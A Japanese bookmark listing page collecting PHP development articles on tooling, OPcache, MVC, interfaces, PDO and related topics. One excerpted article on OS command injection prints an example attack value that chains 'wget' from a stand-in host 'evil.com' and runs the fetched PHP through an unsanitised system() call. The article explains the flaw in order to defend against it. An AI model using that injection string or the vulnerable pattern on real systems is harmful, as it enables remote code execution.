タグ

phpに関するrysterのブックマーク (560)

  • もう XAMPP / MAMP はいらない!
Vagrant で作る PHP 開発環境

    http://www.1x1.jp/blog/2013/09/php-enviroment-with-vagrant.html

    もう XAMPP / MAMP はいらない!
Vagrant で作る PHP 開発環境
  • PHPで優先度つきキュー - Qiita

    PHP5.3でSplPriorityQueue、優先度つきキューが実装されました。 取得時、第二引数の値が高いものから順に並べ替えられます。 データの種類によっては、自力でソートする必要が無くなります。 <?php $queue = new SplPriorityQueue(); $queue->insert('低い', 10); $queue->insert('最優先', 100); $queue->insert('にばんめその1', 50); $queue->insert('にばんめその2', 50); $queue->insert('一番低い', 1); // 個数 → 5 print('件数:' . $queue->count()); // 一番目を閲覧。これは使っても無くならない。 print('一番目:' . $queue->top()); // 優先順位の高い順に取り出す f

    PHPで優先度つきキュー - Qiita
    ryster
    ryster 2013/12/27
  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

    ryster
    ryster 2013/12/21
  • PHP 5.5 を使った時にキャッシュが効いてプログラムの変更が即、反映されなかった - 強火で進め

    MacのMAMPで使っているPHPを5.5に変更したらキャッシュが効いてプログラムの変更が即、反映されないという症状が発生しました。 調べてみると PHP 5.5 から OPcache というネイティブキャッシュがデフォルトで有効に成っている為に発生したみたいです。 詳しくはこちらのスライドの5ページ目を参照。 自分がインストールしたのが5.5.3だったので /Applications/MAMP/bin/php/php5.5.3/conf/php.ini を開き、 opcache.enable_cli=0 に変更し、その次の行に opcache.enable=0 を追加し(※)、Apacheを再起動するとちゃんと即、反映される様に ※デフォルト有効なため、デフォルトだと php.ini に記述が無いみたいです。 【最終的な[OPcache]の設定】 [OPcache] zend_exten

    PHP 5.5 を使った時にキャッシュが効いてプログラムの変更が即、反映されなかった - 強火で進め
    ryster
    ryster 2013/12/20
  • いつまでPHPerはMVCを間違い続けるのか…? - どうにもならない日々@mkkn

    愚痴です。 やはりお前らのMVCは間違っている http://www.slideshare.net/MugeSo/mvc-14469802 これ45k Viewあって、はブも600あって、Sep 26, 2012の投稿だからもおう1年以上前の話。つーかそれの波及記事もいろいろあってもう既に十分語り尽くされている、はずなのに… なぜか、未だにfat controller もうね。コード見るのが辛いんよ。つーか感覚的に分かりそうなもんじゃん。処理のエントリポイントがこんなになってていいのかなぁ?って。 改修案件でさ、コードどっから参照するよ?コントローラでしょ?んでさーコード調べるぞ!!ってなった時、そのコード見て、、、ため息出るでしょ。ひと目でわからんでしょ。 コントローラなんて,どのモデル読んでてどのview使ってるか、それだけで十分じゃん。パラメータの処理はルーティングでやればいいじゃん

    いつまでPHPerはMVCを間違い続けるのか…? - どうにもならない日々@mkkn
    ryster
    ryster 2013/10/21
  • PHPのinterfaceとは何か

    久しぶりの更新です。最近、修行だと思って色々なを読み漁っているのですが、やっとこさPHPのinterfaceが分かるようになってきた感じがあるので、まとめてみます。 インターフェースは、クラスから"ユーザー定義型"の能力のみを分離した言語機構です。PHPのそれはJavaのinterfaceのパクリです。 "ユーザー定義型"という単語を使いました。動的型付き言語のことを「型のない言語」と言う人がたまにいるんですが、とんでもねー間違いです。PHPにだって型はあります。変数が型を持たず、値が型を持っているというだけの話です。 interfaceを宣言する文法はクラスとよく似ていますが、キーワードclassの代わりにキーワードinterfaceを使います。中身は定義のないメソッドの宣言を書きます。なお、定数も含めることが可能です。 <?php interface FooInterface { c

    PHPのinterfaceとは何か
    ryster
    ryster 2013/10/16
  • Webのフレームワークの価値ってなんだろなって改めて思う。 | F's Garage

    この記事ね。ちょいと炎上してるけど、言ってることはわかるんですね。 今すぐ辞めて欲しい、「Ruby on Rails勉強してます」「CakePHP勉強してます」 タイトルが誤解を生んだので妙な方向になってるようですが、要するにRailsやCakeを使うための学習コストを払おうとして悶々としてるくらいなら、普通のHTMLSQLを使ってPHPなどを書けるようになってから、フレームワーク勉強したほうがいいんじゃね?ということだと思います。 ノーフレームワークのPHPって、ある意味、学びの材料としての粒度として最適なのかなって最近思ったりしています。 例えば個人的にフレームワークで過剰かもなって思うものに「オートリンク作成」「オートフォーム作成」の2つの機能があります。 オートフォーム作成は、それこそSmartyの頃からありますけど使ったことがなくて、何故にHTML生成を特殊な関数に置き換える必

    Webのフレームワークの価値ってなんだろなって改めて思う。 | F's Garage
    ryster
    ryster 2013/10/13
    とりあえず、cakeはゴミ
  • XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

    *English subtitles are available.* Web アプリ界隈、特に日ではまだあまり知られていないと思われる XXE や XML Bomb (XML Entity Expansion) というセキュリティ脆弱性の概要、 PHP の機能と組み合わせた攻撃手法、主に PHP 周りでの発覚事例や、対策方法について説明します

    XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-
  • PHPカンファレンス2013でZend OPcacheについて発表しました - hnwの日記

    9月14日に開催されたPHPカンファレンス2013で発表してきました。以下が発表資料です。 マニアックな内容なのと、裏に面白そうな発表があったのでガラガラかと予想していたのですが、思った以上に盛況で驚きました。僕個人が伝えたかった内容は「PHPコア見るの楽しい」「Zend OPcacheは仕事上も趣味上も要注目」ということでした。どれくらいの人に伝わったかは不安ですが、この発表を機に興味をもってもらえれば嬉しく思います。 今回は廣川さんとテーマがかぶってしまって驚いたのですが、うっかりお昼ご飯に行っていて僕自身は廣川さんの発表を見られませんでした。プレゼン資料が公開されると嬉しいのですが…。 また、anatooさんやYahoo!の蒋さんもPHPの内部まで踏み込んだ発表をされていました。こうした発表を聞いて、「PHPのソースコードまで読んでみようかな」という人が少しでも増えてくれたらいいなと

    PHPカンファレンス2013でZend OPcacheについて発表しました - hnwの日記
    ryster
    ryster 2013/09/15
  • PHPでデータベースに接続するときのまとめ - Qiita

    【2021/10/15 追記】 この記事は更新が停止されています。現在では筆者の思想が変化している面もありますので,過去の記事として参考程度にご覧ください。PDO に関しては大きく変わっていない部分が多いとは思いますが, PHP 8.x 以降での動作保証はありません。 あらかじめ読んでおきたい記事 Qiita - 【PHP超入門】クラス~例外処理~PDOの基礎 by @7968 初心者がやりがちなミス 以下のどれかに1つでも当てはまるコードは見直す必要があります.付録にリンクを貼っておきましたので,「該当するかも?」という人はクリックして飛んで読んでください.太字にしてあるものは脆弱性に直結する危険度の高いものです. mysql_query などの非推奨関数を利用している SET NAMES あるいは SET CHARACTER SET などで文字コードを指定している そもそもデータベース

    PHPでデータベースに接続するときのまとめ - Qiita
    ryster
    ryster 2013/09/06
  • PHP Webアプリケーションから非同期にコマンドを実行するライブラリをつくりました。 - オープンソースこねこね

    こんなの作りました。 BackgroundProcess Webのプロセスから重い処理を実行したいのだけど。。。 PHPCSVファイルなどから一括で大量のデータ投入を行いたいときがあります。 これをWebアプリケーションのプロセスでやろうとすると、処理時間が長いため、だいたいプロセスがタイムアウトしてエラーになってしまいます。困ったものです。 こういうとき、代わりにコマンドラインのプログラムとして実装したりするんですが、任意のタイミングで処理したい場合、コマンド実行する以上サーバにターミナルでログインできる技術者しかデータ投入作業ができなくなってしまいます。 もっとだれにでもできるように、やっぱりWebアプリケーションのインターフェースが欲しくなるのが人情です。 Webアプリから非同期にコマンドを実行する この要件を満たす簡単な方法は、以下のようなコードでWebプロセスから外部コマンドを

    PHP Webアプリケーションから非同期にコマンドを実行するライブラリをつくりました。 - オープンソースこねこね
    ryster
    ryster 2013/09/04
  • PHP Debug Bar

    Debugging in PHP has never been easier The DebugBar integrates easily in any projects and can display profiling data from any part of your application. It comes built-in with data collectors for standard PHP features and popular projects. Install the debug bar using Composer: { "require": { "maximebf/debugbar": "1.*" } } $ php composer.phar install The DebugBar has two parts: the main DebugBar obj

    ryster
    ryster 2013/08/15
  • PHP meets NodeJS

    PHPにPUSH通知(リアルタイム処理)機能を導入するために、NodeJSと連携するための簡単な概要を説明してみました。特にどこかで発表した資料とかでは無いっす。 資料のライセンスはMITです。

    PHP meets NodeJS
    ryster
    ryster 2013/08/13
  • PHPのコレクション処理ライブラリUnderbar.phpの紹介|技術ブログ|北海道札幌市・宮城県仙台市のVR・ゲーム・システム開発 インフィニットループ

    PHPのコレクション処理ライブラリUnderbar.phpの紹介 こんにちわちわ。 以前に便利なVimのOperatorをマスターするを書きましたemonkakです。 今回は私が個人的に開発を進めていて以前に社内勉強会で発表しました、PHPのコレクション処理ライブラリのUnderbar.phpの紹介をしたいと思います。 PHPのarrayなんとか関数は使い勝手が悪い PHPには配列処理のための関数がたくさんありますが、array_map()の引数の順番が変だったりarrayがそもそもオブジェクトではないのでメソッドチェインができなかったり使い勝手が良くありません。 $xs = range(1, 10); $twice = function($n) { return $n * 2; }; array_slice(array_map($twice, $xs), 0, 3); // [2, 4,

    PHPのコレクション処理ライブラリUnderbar.phpの紹介|技術ブログ|北海道札幌市・宮城県仙台市のVR・ゲーム・システム開発 インフィニットループ
    ryster
    ryster 2013/08/02
  • agilecatcloud.com

    This domain may be for sale!

    ryster
    ryster 2013/07/10
  • これは凄い!iOSアプリ内で動作するPHP·iPHP MOONGIFT

    iPHPはObjective-C製のソフトウェア(ソースコードは公開されていますがライセンスは明記されていません)です。 iOS上で動作するプログラミング言語と言えばObjective-CやJavaScriptくらいと思われています(アプリを開発できる言語はもっとありますが)。しかしその壁を打ち破るソフトウェアがiPHPです。名前の通り、PHPの実行エンジンをiOSアプリ内に埋め込んだソフトウェアです。 立ち上げました。さっそくphpinfoを実行します。 見慣れた画面です。PHPのバージョンは5.4.15となっています。 curlも組み込まれています。外部コンテンツを取り込んで…といったこともできるでしょう。 fileinfoやgdもあります。色々な使い方ができそうです。 evalを使って入力したテキストを評価させることができます。 こちらはベンチマークを実行した結果です。 iPHPは思

    これは凄い!iOSアプリ内で動作するPHP·iPHP MOONGIFT
  • この先生きのこるには

    ちょっとずつ複雑なことをやっていっているのですが、正直まだ自分で作っていくイメージがついていません。 加速と減速=イージングタイムラインパネルのフレーム数がでてるとこの下のスライダーでワークエリアの幅を操作できるグラフエディターというのが存在する。値グラフと速度グラフ。グラフを編集するときに触るのはハンドルだけイージングの速度が早くてコマが見える時はモーションブラーをかける(13:40)モーションブラーは色々ごまかせてしまうので最後につけたほうがいい。処理が重いから最初のほうでつけるとプレビューのときにしんどいとかもある(ただプレビューのときだけオフにするとかもできる)

    この先生きのこるには
    ryster
    ryster 2013/06/26
  • VimをPHP用にカスタマイズする | Basicinc Enjoy Hacking!

    今更ながらプログラマーならVimが使えないとやっぱりダメだよなーと思ったので、Vimを使うようになってきました。 そこでせっかくなのでいろいろカスタマイズできるVimPHP用にしてみました。 PHPの関数を補完してくれるようにする まずはPHPの関数を補完してくれるようにします。 php用の辞書の用意 まず、下記のコマンドを実行します。 php -r '$f=get_defined_functions();echo join("\n",$f["internal"]);'|sort > ~/.vim/dict/php.dict get_defined_functionsでPHPに定義されている関数を出力してくれるので、こいつをvimの辞書ファイルにぶち込みます。 補完してくれるようにする .vimrcに autocmd FileType php,ctp :set dictionary=~/

    VimをPHP用にカスタマイズする | Basicinc Enjoy Hacking!
    ryster
    ryster 2013/06/23
  • strftimeで和暦表示 - Qiita

    PHPで和暦表示をしたい場合、オリジナルな関数を作成しなくても、 strftimeで以下のように変換指定子を指定するといけるかも。 (Cライブラリに依存、windowsでは動作しなかった) 例えば、 平成x年x月x日 x曜日と表示したいのなら、以下のようにする。 <?php setlocale(LC_TIME, "ja_JP.utf8", "Japanese_Japan.932"); print strftime('%EC%Ey年%B%#d日 %A'); ?>

    strftimeで和暦表示 - Qiita
    ryster
    ryster 2013/06/03
  • PHPからTwilioを使って電話を操作する発表をしました - cakephperの日記(CakePHP, Laravel, PHP)

    FukuokaPHP第7回 1周年記念というめでたい日に、Twilioという電話APIサービスを使ってPHPから電話をかけたり、受けたりする話をしてきました。 fukuokaphp7 PHP x twilio from ichikaway 当日のUstreamの動画はこちら http://www.ustream.tv/recorded/33479457 懇親会は自分がよく行く舞鶴のビールバーでした。 クラフトビール 福岡 GASTRO PUB ALES 伊勢角屋ペールエールが美味しかったです。飲み干してもう無いけど。 Fukuoka.phpを1年前にAkase244さんと立ち上げてスタッフ5人ぐらいで楽しくやってきました。2年目もこんな感じで楽しくやっていきたいですね。 下記は、Fukuoka.phpの立ち上げのきっかけになったツイートです

    PHPからTwilioを使って電話を操作する発表をしました - cakephperの日記(CakePHP, Laravel, PHP)